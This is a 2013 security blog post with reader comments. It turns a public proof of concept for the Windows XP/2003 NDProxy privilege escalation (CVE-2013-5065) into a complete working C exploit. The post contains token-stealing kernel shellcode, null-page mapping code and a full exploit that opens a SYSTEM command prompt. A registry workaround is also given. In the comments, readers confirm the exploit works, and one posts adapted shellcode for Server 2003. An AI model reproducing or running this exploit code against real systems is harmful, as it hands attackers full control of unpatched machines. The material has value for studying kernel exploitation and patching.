Skip to content

NDProxy Privilege Escalation (CVE-2013-5065)

by on December 11, 2013

Introduction

In the last few days everyone is raving about CVE-2013-5065, a new Windows XP/2k3 privilege escalation, well documented by FireEye. Googling around, we came across a Twitter message which contained a link to a Chinese vulnerability analysis and PoC for CVE-2013-5065.

Exploit POC:

#include "windows.h"
#include "stdio.h"
void main(){
    HANDLE hdev=CreateFile("\\\\.\\NDProxy",GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0 , NULL);
    if hdev==INVALID_HANDLE_VALUE){
        printf("CreateFile Failed: %d/n",GetLastError());
    }
    DWORD InBuf [0x15] = {0};
    DWORD dwRetbytes = 0;
    *(InBuf + 5) = x7030125;
    *(InBuf + 7) = 0x34;
    DeviceIoControl(hdev,0x8fff23cc,InBuf, 0x54, InBuf, 0x24 , &deRetBytes, 0);
    CloseHandle(hdev);
}

Due to the fact that the extended instruction pointer is set to 0×00000038 at the time of the crash, this bug can easily be exploited on Windows XP or 2K3, as both of these Operating Systems allow non-privileged users to map the null page within the context of a user process. It is then quite trivial to produce a fully working exploit.

Vulnerable Systems:

  • Windows XP SP3 (x32)
  • Windows XP SP2 (x64)
  • Windows 2003 SP2 (x32)
  • Windows 2003 SP2 (x64)
  • Windows 2003  SP2 for Itanium-based Systems

Workaround

To implement this workaround, please follow the steps below.

I run the following command from the command prompt (as an administrator):

sc stop ndproxy 
reg add HKLM \ System \ CurrentControlSet \ Services \ ndproxy / v ImagePath / t REG_EXPAND_SZ / d system32 \ drivers \ null.sys / f

If you disable NDProxy.Sys, Windowssome services that depend Telephony Application Programming Interfaces of the (TAPI) will not work. As such the following services will fail to function correctly: Remote Access Service (RAS), Dial-Up Networking , Virtual Private Network (VPN).

Weaponising the Code

The crux of the exploit is there all we need to do is write our shell code to the NULL page; rather than reinvent the wheel I scoured exploit-db for some previous written code.  I found a useful code block InitFirstPage() in the following exploit for MS10-047 (http://www.exploit-db.com/exploits/14666/).

Then added the following code at the bottom of the main function:

system("start /d \"C:\\windows\\system32\" cmd.exe");
return 0;

After some more playing around with the shell code, I decided to take ryujin’s original python code and convert it to C.

From:
sh="\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8B\xC8\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x83\xB8\x84\x00\x00\x00\x04\x75\xEC\x8B\x90\xC8\x00\x00\x00\x89\x91\xC8\x00\x00\x00\xC3"
sc ="\x90"*0x38 + "\x3c\x00\x00\x00" + "\x90"*4 + sh +"\xcc"*(0x400-0x3c-4-len(sh))

To:
unsigned char sc[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x3C\x00\x00\x00\x90\x90\x90\x90"
"\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8B\xC8\x8B"
"\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x83\xB8\x84\x00\x00\x00"
"\x04\x75\xEC\x8B\x90\xC8\x00\x00\x00\x89\x91\xC8\x00\x00\x00\xC3";
unsigned char * sh;
sh=(char*)malloc(400);
memset(sh,"\xCC",400);
memcpy(sh,sc,112);

Exploit

The resulting code looks like:

/*
NDProxy.c
NDProxy.sys Local Privilege Escalation Exploit CVE-2013-5065
Based on Chinese PoC with ideas taken from Ryujin's and Tavis Ormandy's previously released exploit code.
Pentura 2013(C)
10-DEC-2013
Tested on Windows XP SP3 32-bit
*/
#include "windows.h"
#include "stdio.h"

typedef struct {
    PVOID   Unknown1;
    PVOID   Unknown2;
    PVOID   Base;
    ULONG   Size;
    ULONG   Flags;
    USHORT  Index;
    USHORT  NameLength;
    USHORT  LoadCount;
    USHORT  PathLength;
    CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct {
    ULONG   Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemModuleInformation = 11,
    SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef DWORD NTSTATUS; 
NTSTATUS (WINAPI *_NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass,
         PVOID SystemInformation,
         ULONG SystemInformationLength,
         PULONG ReturnLength
         );                                                     

static VOID InitFirstPage()
{
    PVOID BaseAddress;
    ULONG RegionSize;
    NTSTATUS ReturnCode;
    FARPROC NtAllocateVirtualMemory;

    NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtAllocateVirtualMemory");

    fprintf(stderr, "NtAllocateVirtualMemory@%p\n", NtAllocateVirtualMemory);
    RegionSize = 0xf000;
    BaseAddress = (PVOID) 0x00000001;
    ReturnCode = NtAllocateVirtualMemory(GetCurrentProcess(),
                                         &BaseAddress,
	                                     0,
                                         &RegionSize,
                                         MEM_COMMIT | MEM_RESERVE,
                                         PAGE_EXECUTE_READWRITE);
     if (ReturnCode != 0) {
         fprintf(stderr, "NtAllocateVirtualMemory() failed to map first page, %#X\n",ReturnCode);
         fflush(stderr);
         ExitProcess(1);
    }
    fprintf(stderr, "BaseAddress: %p, RegionSize: %#x\n", BaseAddress, RegionSize), fflush(stderr);
    FillMemory(BaseAddress, RegionSize, 0x41);
    return;
}

int main()
{
    DWORD fb;
    int result;

    InitFirstPage();

    unsigned char sc[] =
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x3C\x00\x00\x00\x90\x90\x90\x90"
    "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8B\xC8\x8B"
    "\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x83\xB8\x84\x00\x00\x00"
    "\x04\x75\xEC\x8B\x90\xC8\x00\x00\x00\x89\x91\xC8\x00\x00\x00\xC3";
    unsigned char * sh;
    sh=(char*)malloc(400);
    memset(sh,"\xCC",400);    
    memcpy(sh,sc,112);

    result = WriteProcessMemory((HANDLE)0xFFFFFFFF, (LPVOID)0x00000001, sh, 0x400, &fb);
    if (result==0)
    {
        printf("[!] Error occured while attempting to map memory_write");
        printf("Details : %d\n", GetLastError());
        exit(1);   
    }

    HANDLE hdev=CreateFile("\\\\.\\NDProxy",GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0 , NULL);
    if (hdev==INVALID_HANDLE_VALUE){
        printf("CreateFile Failed: %d/n",GetLastError());
    }
    DWORD InBuf [0x15] = {0};
    DWORD dwRetBytes = 0;
    *(InBuf + 5) = 0x7030125;
    *(InBuf + 7) = 0x34;
    DeviceIoControl(hdev,0x8fff23cc,InBuf, 0x54, InBuf, 0x24 , &dwRetBytes, 0);
    CloseHandle(hdev);
    printf("[+] Spawning SYSTEM Shell...");
    system("start /d \"C:\\Windows\\System32\" cmd.exe");
    return 0;
}

Links

10 Comments
  1. Pakbug permalink

    Its crashing my win2k3 for some reason..No system level shell..Any clues?

    • If you read the small print, “Tested on Win XP SP3!”, I can guarantee it works, and multiple times… though it can crash XP after repeated exploitation (5+ attempts) 😦

      The exploit will work on Win 2K3 SP2, but it will not work with the standard publicly available shellcode (which is XP based). I suggest using a debugger and changing the shell code to one that works for Win2K3.

      The shellcode in use is not your standard cmd.exe shellcode, its a token stealing shellcode: that effectively swaps out our user token with that of system token. Then when we call cmd.exe at the bottom of our exploit – that is why the cmd is running with SYSTEM privileges; it should be trivial to swap out the XP token stealing ring-0 code with a Win2K3 token-stealing ring-0 shellcode.

      • John permalink

        Hi ,

        First of all, thanks for your post. I am investigation the crashing issue on this exploit (for academic reason).
        Do you have any idea why it crashes after repeated exploitation ? I can not come near to an explanation 😥

      • I actually have not gone further than tracing the initial exploit run. The ring-0 shell code is in simplistic terms token stealing. I think it crashes when multiple attempts of writing into the HalDispatchTable, disrupts/corrupts the table and the location of our shellcode in memory.

        I advise reading:

        Introduction to Windows Kernel Exploitation – DVWD.sys

  2. I can confirm it works on XP SP3 🙂

  3. Hi there,
    I tested it on XP SP3 it is working fine and with help of ruby code given in “https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms_ndproxy.rb” changed the data for windows 2003 SP2 (32 bit) and tested. There also it is working fine.

    Shellcode for 32 bit Windows Server 2003 is :

    unsigned char sc[] =
    “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
    “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
    “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”
    “\x90\x90\x90\x90\x90\x90\x90\x90\x3C\x00\x00\x00\x90\x90\x90\x90”
    “\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x38\x8B\xC8\x8B”
    “\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x83\xB8\x94\x00\x00\x00”
    “\x04\x75\xEC\x8B\x90\xD8\x00\x00\x00\x89\x91\xD8\x00\x00\x00\xC3”;
    //this is for Windows Server 2003 SP2.

    One thing i want to know that . Do we need to write a 64 bit shellcode for x64 platform. I think we needed.
    Can someone help me to find the good resource for 64 bit shellcode.

  4. is this same code will crash on windows XP SP2 x64 system. I am getting file not found error (GetLastError as 2) in createfile of ndproxy

  5. hey what compiler are u using?

Leave a reply to Andy Cancel reply